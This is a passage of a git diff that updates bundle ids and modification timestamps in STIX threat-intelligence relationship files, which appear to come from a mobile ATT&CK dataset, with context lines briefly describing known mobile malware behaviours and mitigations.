index 3e0dc9d647..179bf8d3d5 100644
--- a/mobile-attack/relationship/relationship--7e4be913-d916-4a79-ac00-262a49afe070.json
+++ b/mobile-attack/relationship/relationship--7e4be913-d916-4a79-ac00-262a49afe070.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7ccc514-3e28-4261-9634-be943eb9d2f2",
+    "id": "bundle--04056b26-b01c-4dc3-a69e-8a2a2ddc871a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7e4be913-d916-4a79-ac00-262a49afe070",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"checks whether it is being run in an emulator before it starts its malicious activity\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
diff --git a/mobile-attack/relationship/relationship--7ec08d5c-73a1-4444-bd27-892090d6b2e3.json b/mobile-attack/relationship/relationship--7ec08d5c-73a1-4444-bd27-892090d6b2e3.json
index 843da33f08..02d56307a7 100644
--- a/mobile-attack/relationship/relationship--7ec08d5c-73a1-4444-bd27-892090d6b2e3.json
+++ b/mobile-attack/relationship/relationship--7ec08d5c-73a1-4444-bd27-892090d6b2e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b38440e-5862-47e9-96e4-92514d3a8162",
+    "id": "bundle--b3215791-f56a-45ed-a036-ab68a88067b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7ec08d5c-73a1-4444-bd27-892090d6b2e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
diff --git a/mobile-attack/relationship/relationship--81db3270-4cb8-4982-8ff8-c28a874e8421.json b/mobile-attack/relationship/relationship--81db3270-4cb8-4982-8ff8-c28a874e8421.json
index 80ee43fdfb..78f181d8c3 100644
--- a/mobile-attack/relationship/relationship--81db3270-4cb8-4982-8ff8-c28a874e8421.json
+++ b/mobile-attack/relationship/relationship--81db3270-4cb8-4982-8ff8-c28a874e8421.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f2cdd43c-df12-46d1-b94a-7f81ac696126",
+    "id": "bundle--49998d4c-70d6-4b4b-8dcf-4cfa802f0b79",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--81db3270-4cb8-4982-8ff8-c28a874e8421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DressCode sets up a \"general purpose tunnel\" that can be used by an attacker to attack enterprise networks that the mobile device is connected to.",
             "source_ref": "malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca",
diff --git a/mobile-attack/relationship/relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c.json b/mobile-attack/relationship/relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c.json
index 186833c168..b380bfbd65 100644
--- a/mobile-attack/relationship/relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c.json
+++ b/mobile-attack/relationship/relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b0900ad6-4a4e-4cfb-85e8-3a86882f7bd3",
+    "id": "bundle--55e55b79-7683-4a21-a23d-430b0e2dd1ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
diff --git a/mobile-attack/relationship/relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835.json b/mobile-attack/relationship/relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835.json
index cbc8d04a3f..d489478b5a 100644
--- a/mobile-attack/relationship/relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835.json
+++ b/mobile-attack/relationship/relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16d533db-c592-4085-96a1-30717aedc8e8",
+    "id": "bundle--38093b5e-d98b-49a5-94b2-4cdb61620492",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups gathered device data including \"phone number, OS version, phone model, and SDK version\".",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--85328449-c231-444d-905a-2988c14d3e82.json b/mobile-attack/relationship/relationship--85328449-c231-444d-905a-2988c14d3e82.json
index 8ba88ff779..905f11eddb 100644
--- a/mobile-attack/relationship/relationship--85328449-c231-444d-905a-2988c14d3e82.json
+++ b/mobile-attack/relationship/relationship--85328449-c231-444d-905a-2988c14d3e82.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b04b3b7-5442-4a4a-b1cd-84d82eaa70ee",
+    "id": "bundle--233c584b-10de-4f8e-ac44-ba4bf9686967",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--85328449-c231-444d-905a-2988c14d3e82",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--62adb627-f647-498e-b4cc-41499361bacb",
diff --git a/mobile-attack/relationship/relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b.json b/mobile-attack/relationship/relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b.json
index a1c66cc040..9d3d5ffd36 100644
--- a/mobile-attack/relationship/relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b.json
+++ b/mobile-attack/relationship/relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--458deec6-8e6f-4749-ba2b-c04b902a3cc1",
+    "id": "bundle--ff94e946-f392-4d59-8fc3-ecdf71058593",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"checks the local settings of the device and does not run its malicious logic if the device is located in Ukraine, Russia, or Belarus. This is likely done to keep the developers from being prosecuted in their own countries or being extradited between countries.\"",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
diff --git a/mobile-attack/relationship/relationship--86696d32-0af7-4308-b1fe-52306b9f839a.json b/mobile-attack/relationship/relationship--86696d32-0af7-4308-b1fe-52306b9f839a.json
index 80e16769c2..7e434be523 100644
--- a/mobile-attack/relationship/relationship--86696d32-0af7-4308-b1fe-52306b9f839a.json
+++ b/mobile-attack/relationship/relationship--86696d32-0af7-4308-b1fe-52306b9f839a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--49e9df10-1958-4b9d-98c9-740bbeba6f96",
+    "id": "bundle--4a1b209f-c052-4cff-8aec-f8de08fdc11a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--86696d32-0af7-4308-b1fe-52306b9f839a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a0464539-e1b7-4455-a355-12495987c300",
diff --git a/mobile-attack/relationship/relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b.json b/mobile-attack/relationship/relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b.json
index 4246258318..029682d3b8 100644
--- a/mobile-attack/relationship/relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b.json
+++ b/mobile-attack/relationship/relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3877669-3bb7-4cc1-af9e-5569c5d15c85",
+    "id": "bundle--fc135bb7-45c2-41b0-862d-893733101943",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
diff --git a/mobile-attack/relationship/relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1.json b/mobile-attack/relationship/relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1.json
index 031c4b0c1c..722f4b61eb 100644
--- a/mobile-attack/relationship/relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1.json
+++ b/mobile-attack/relationship/relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fc02a25-4f2b-498d-977d-671dad0d0d1d",
+    "id": "bundle--5fba4322-5b7d-42e0-9574-ee3b11de62c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can use SMS for command and control.",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9.json b/mobile-attack/relationship/relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9.json
index 7ce052ade3..d3ea58adf2 100644
--- a/mobile-attack/relationship/relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9.json
+++ b/mobile-attack/relationship/relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a3f3e4e2-3334-426a-9fe4-360b1fcf4cde",
+    "id": "bundle--1dfe1522-8252-4d2d-84d7-394bfb691377",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
diff --git a/mobile-attack/relationship/relationship--8d027310-93a0-4046-b7ad-d1f461f30838.json b/mobile-attack/relationship/relationship--8d027310-93a0-4046-b7ad-d1f461f30838.json
index b6d75cd242..bf7a2ad411 100644
--- a/mobile-attack/relationship/relationship--8d027310-93a0-4046-b7ad-d1f461f30838.json
+++ b/mobile-attack/relationship/relationship--8d027310-93a0-4046-b7ad-d1f461f30838.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81451abb-cdaa-4637-87ff-b9fb17e4f418",
+    "id": "bundle--3b092516-6960-4b88-b8db-5d23a0d30881",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d027310-93a0-4046-b7ad-d1f461f30838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid has the ability to dynamically download and execute new code at runtime.",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--8e49feb1-e401-4e63-acfa-7f8b9a8ca026.json b/mobile-attack/relationship/relationship--8e49feb1-e401-4e63-acfa-7f8b9a8ca026.json
index 9c86472817..fe06e2d3d3 100644
--- a/mobile-attack/relationship/relationship--8e49feb1-e401-4e63-acfa-7f8b9a8ca026.json
+++ b/mobile-attack/relationship/relationship--8e49feb1-e401-4e63-acfa-7f8b9a8ca026.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b45bee0-edd2-468b-8364-09f579f8d488",
+    "id": "bundle--e58c9974-6eb0-4a90-9e37-814a50ee432d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e49feb1-e401-4e63-acfa-7f8b9a8ca026",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
diff --git a/mobile-attack/relationship/relationship--8e4b2305-1280-4456-8ec7-93c66da5c674.json b/mobile-attack/relationship/relationship--8e4b2305-1280-4456-8ec7-93c66da5c674.json
index 858a6415a1..295b5acbb5 100644
--- a/mobile-attack/relationship/relationship--8e4b2305-1280-4456-8ec7-93c66da5c674.json
+++ b/mobile-attack/relationship/relationship--8e4b2305-1280-4456-8ec7-93c66da5c674.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--47898efd-5256-4703-b38d-e5fe8a81a86a",
+    "id": "bundle--9d2c7b54-4ae5-4561-b293-2e85b0d3a9b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e4b2305-1280-4456-8ec7-93c66da5c674",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost was injected into apps by a modified version of Xcode (Apple's software development tool).",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
diff --git a/mobile-attack/relationship/relationship--8e94da58-86b7-4a45-886e-6da58828eacd.json b/mobile-attack/relationship/relationship--8e94da58-86b7-4a45-886e-6da58828eacd.json
index d6849fa508..7fc194adef 100644
--- a/mobile-attack/relationship/relationship--8e94da58-86b7-4a45-886e-6da58828eacd.json
+++ b/mobile-attack/relationship/relationship--8e94da58-86b7-4a45-886e-6da58828eacd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--509d03f1-bcc6-47cd-b1d6-e541fee4d591",
+    "id": "bundle--0f6b7c64-e459-486a-8db8-19e7d464bb0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e94da58-86b7-4a45-886e-6da58828eacd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69",
diff --git a/mobile-attack/relationship/relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3.json b/mobile-attack/relationship/relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3.json
index c7bd7513a6..019bb594c2 100644
--- a/mobile-attack/relationship/relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3.json
+++ b/mobile-attack/relationship/relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--959be0a1-dd20-4a6f-8eea-9e95ad868bf8",
+    "id": "bundle--8a53fead-1c21-473e-aa18-24013cb439d9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted location information.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
diff --git a/mobile-attack/relationship/relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33.json b/mobile-attack/relationship/relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33.json
index ad5b0a838c..57a77ff946 100644
--- a/mobile-attack/relationship/relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33.json
+++ b/mobile-attack/relationship/relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--18530797-3200-4c78-8564-59e237cf3cc5",
+    "id": "bundle--eb693e60-96fd-4d5c-a7fe-35afc6f4de56",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16",
diff --git a/mobile-attack/relationship/relationship--903660e1-3996-4ed2-9e7a-4f8c397a71eb.json b/mobile-attack/relationship/relationship--903660e1-3996-4ed2-9e7a-4f8c397a71eb.json
index 9ed746d86c..acaa6d2442 100644
--- a/mobile-attack/relationship/relationship--903660e1-3996-4ed2-9e7a-4f8c397a71eb.json
+++ b/mobile-attack/relationship/relationship--903660e1-3996-4ed2-9e7a-4f8c397a71eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7ef300f-f241-4797-855b-2e3b4a5f9a00",
+    "id": "bundle--f2fdc4ca-628d-4442-aeca-ea3324e42747",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--903660e1-3996-4ed2-9e7a-4f8c397a71eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad",
diff --git a/mobile-attack/relationship/relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e.json b/mobile-attack/relationship/relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e.json
index 024ac23193..1005292dc3 100644
--- a/mobile-attack/relationship/relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e.json
+++ b/mobile-attack/relationship/relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b23417f3-76cc-4a65-a0a7-df050760ae73",
+    "id": "bundle--d050dc18-2f88-4c33-a579-258ffe01e6ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT captures \"SMS data\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
diff --git a/mobile-attack/relationship/relationship--92333055-88ce-4db2-a589-e0e1e617d8e0.json b/mobile-attack/relationship/relationship--92333055-88ce-4db2-a589-e0e1e617d8e0.json
index a47eb8ff99..c2ad8acdf6 100644
--- a/mobile-attack/relationship/relationship--92333055-88ce-4db2-a589-e0e1e617d8e0.json
+++ b/mobile-attack/relationship/relationship--92333055-88ce-4db2-a589-e0e1e617d8e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd72c0cf-9286-4fc8-b6e7-1e4f7838eab8",
+    "id": "bundle--05439813-9798-41bf-9dd9-fd96110eeaa2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--92333055-88ce-4db2-a589-e0e1e617d8e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
diff --git a/mobile-attack/relationship/relationship--93a524e2-cb17-4b40-8640-a03949e89775.json b/mobile-attack/relationship/relationship--93a524e2-cb17-4b40-8640-a03949e89775.json
index 99f97b871a..f3514d5dae 100644
--- a/mobile-attack/relationship/relationship--93a524e2-cb17-4b40-8640-a03949e89775.json
+++ b/mobile-attack/relationship/relationship--93a524e2-cb17-4b40-8640-a03949e89775.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1e362b78-793e-4fa9-9ebf-2c024d6e36b9",
+    "id": "bundle--9cff4e1f-1324-4328-ba4a-69dc61744092",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--93a524e2-cb17-4b40-8640-a03949e89775",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44",
diff --git a/mobile-attack/relationship/relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d.json b/mobile-attack/relationship/relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d.json
index 41ed9171eb..5f49486e40 100644
--- a/mobile-attack/relationship/relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d.json
+++ b/mobile-attack/relationship/relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad166d93-3611-44a5-9397-5fb2852ae6ab",
+    "id": "bundle--84b152df-380c-4b38-84a5-75c293f685f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"constantly updates and sends the location of the phone\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--94a737af-9a72-48f6-a85e-d9d7fa93bfdd.json b/mobile-attack/relationship/relationship--94a737af-9a72-48f6-a85e-d9d7fa93bfdd.json
index dde28fc11a..7d979a4cfc 100644
--- a/mobile-attack/relationship/relationship--94a737af-9a72-48f6-a85e-d9d7fa93bfdd.json
+++ b/mobile-attack/relationship/relationship--94a737af-9a72-48f6-a85e-d9d7fa93bfdd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--708395be-0f71-49a4-bd3c-273c93f14d2b",
+    "id": "bundle--537cc7e6-9b15-49af-9140-0a6118c34fee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94a737af-9a72-48f6-a85e-d9d7fa93bfdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6",
diff --git a/mobile-attack/relationship/relationship--95f4db59-e0b4-4c1b-b888-1fc76b21e8c0.json b/mobile-attack/relationship/relationship--95f4db59-e0b4-4c1b-b888-1fc76b21e8c0.json
index 3a55a8e119..80ee120f8c 100644
--- a/mobile-attack/relationship/relationship--95f4db59-e0b4-4c1b-b888-1fc76b21e8c0.json
+++ b/mobile-attack/relationship/relationship--95f4db59-e0b4-4c1b-b888-1fc76b21e8c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a97f9cc-0dd8-413e-8ac1-c7a1fd38a192",
+    "id": "bundle--5b7edbdf-6992-4493-b78e-4343ead8eae1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--95f4db59-e0b4-4c1b-b888-1fc76b21e8c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
diff --git a/mobile-attack/relationship/relationship--96027d55-0bdb-4f5f-a559-66c93eab3a17.json b/mobile-attack/relationship/relationship--96027d55-0bdb-4f5f-a559-66c93eab3a17.json
index 77c2c703f7..f50f4da061 100644
--- a/mobile-attack/relationship/relationship--96027d55-0bdb-4f5f-a559-66c93eab3a17.json
+++ b/mobile-attack/relationship/relationship--96027d55-0bdb-4f5f-a559-66c93eab3a17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d38cbd9-d313-4552-8fb2-e2d15b9f69c5",
+    "id": "bundle--92cf5dd1-582f-4285-b0b6-26dc26a0a8f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--96027d55-0bdb-4f5f-a559-66c93eab3a17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
